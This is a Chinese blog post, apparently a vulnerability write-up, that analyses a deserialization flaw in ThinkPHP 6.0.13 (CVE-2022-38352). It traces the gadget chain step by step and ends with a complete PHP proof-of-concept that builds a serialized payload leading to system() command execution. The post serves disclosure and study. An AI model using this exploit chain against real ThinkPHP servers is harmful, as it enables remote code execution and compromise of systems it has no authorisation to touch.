首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >tp6.0.13反序列化漏洞

tp6.0.13反序列化漏洞

作者头像
故里[TRUE]
发布2023-04-20 16:57:38
发布2023-04-20 16:57:38
8600
举报

环境配置

代码语言:javascript
复制
composer create-project topthink/think tp6

搭建本地环境(apache+mysql+ftp),这里需要注意php版本要求7.1+

漏洞挖掘

对于php反序列化漏洞出发点几乎都是从魔法函数走起,__destruct魔法函数极为常见,这次也是通过这个开始

用的是ps【phpstorm64】,ctrl+shift+f全局搜索__destruct

其他的也都大致看了看暂时感觉没啥用,抓住这个看一下,这个可以看到this->lazySave属于可控变量,跟进save方法

/vendor/topthink/think-orm/src/Model.php

这里我们需要让下面这个if语句不成立,执行这个语句

if (this->isEmpty() || false ===

代码语言:javascript
复制
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

首先先看看isEmpty方法,跟进一下看看

不难发现,this->data这又是一个可控变量,只需要满足data[]不为空就会返回false

然后继续看第二个,跟进trigger()方法

可以发现又是个可控变量$this->withiEvent

设置withEvent为false,取反之后就是true就会返回true,所以此if语句两个都不成立,就会跳过判断进入想要进入的那个语句

这个语句中exists属于可控变量

跟进updateData方法

有点长,粘下来吧

代码语言:javascript
复制
protected function updateData(): bool
{
    // 事件回调
    if (false === $this->trigger('BeforeUpdate')) {
        return false;
    }

    $this->checkData();

    // 获取有更新的数据
    $data = $this->getChangedData();

    if (empty($data)) {
        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }

        return true;
    }

    if ($this->autoWriteTimestamp && $this->updateTime) {
        // 自动写入更新时间
        $data[$this->updateTime]       = $this->autoWriteTimestamp();
        $this->data[$this->updateTime] = $data[$this->updateTime];
    }

    // 检查允许字段
    $allowFields = $this->checkAllowFields();

    foreach ($this->relationWrite as $name => $val) {
        if (!is_array($val)) {
            continue;
        }

        foreach ($val as $key) {
            if (isset($data[$key])) {
                unset($data[$key]);
            }
        }
    }

    // 模型更新
    $db = $this->db();

    $db->transaction(function () use ($data, $allowFields, $db) {
        $this->key = null;
        $where     = $this->getWhere();

        $result = $db->where($where)
            ->strict(false)
            ->cache(true)
            ->setOption('key', $this->key)
            ->field($allowFields)
            ->update($data);

        $this->checkResult($result);

        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }
    });

    // 更新回调
    $this->trigger('AfterUpdate');

    return true;
}

这里首先trigger可控,又checkdata方法又没定义,都可以跳过

直接跟进getChangeData方法

this->force可控,为true时就会返回data=this->data

这里我们想进入到checkAllowFields方法需要让上面的if语句不成立

简单来说也就是让$data是否为空,这里若为空,就可以不进入if语句,执行到checkAllowFields()

继续跟进到checkAllowFields()

这里刚开始的两个变量field和schema都是可控变量,构造为空时就可以进入db方法

不难发现这里就会触发_tostring魔法函数,这里的点起到了字符串拼接作用

综上这一部分的pop链子就是这样的

代码语言:javascript
复制
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()


$this->exists = true;
$this->$withEvent = false;
$this->$lazySave = true;

然后后面就是之前的老链子了,tp5的链子

出发点是这个

跟进toJson方法

继续跟进toArray方法

在下面这里这个关键函数

触发他的条件是

代码语言:javascript
复制
this−>visible[key]存在,即this->visible存在键名为key的键,而k e y 则 来 源 于 data的键名,data则来源于this->data,也就是说this−>data和this->visible要有相同的键名$key

继续跟进getAttr方法,在这里不难发现,这个地方对于this->pool->getItem(

这个getltem方法在Cgabbel对象中又不存在,所以调用之前会先构造

__call () 用于当调用一个对象存在的方法时自动调用

__call函数调用了log函数之后又去调用record函数

继续跟进record函数,继续跟进save函数

继续调用save函数

跟进去

这个request类中url会进行解析

跟进invoke函数

跟进invokeMethod

至此链子已经很清晰了,现在构建反序列化入口

需要编写一个控制器模块并存在反序列化可控点得以利用此链条

访问该路由,传参测试

入口点构造成功,下面开始写入poc

最后回到eval函数即可执行RCE

poc如下

代码语言:javascript
复制
<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp; 
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php system(\'calc\'); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {
            
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(serialize($a));
}

后言

已提交CVE,编号CVE-2022-38352

https://github.com/top-think/framework/issues/2749

浅浅总结一下,找洞的秘诀是细心!耐心!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-09-292,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境配置
  • 漏洞挖掘
  • 后言
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档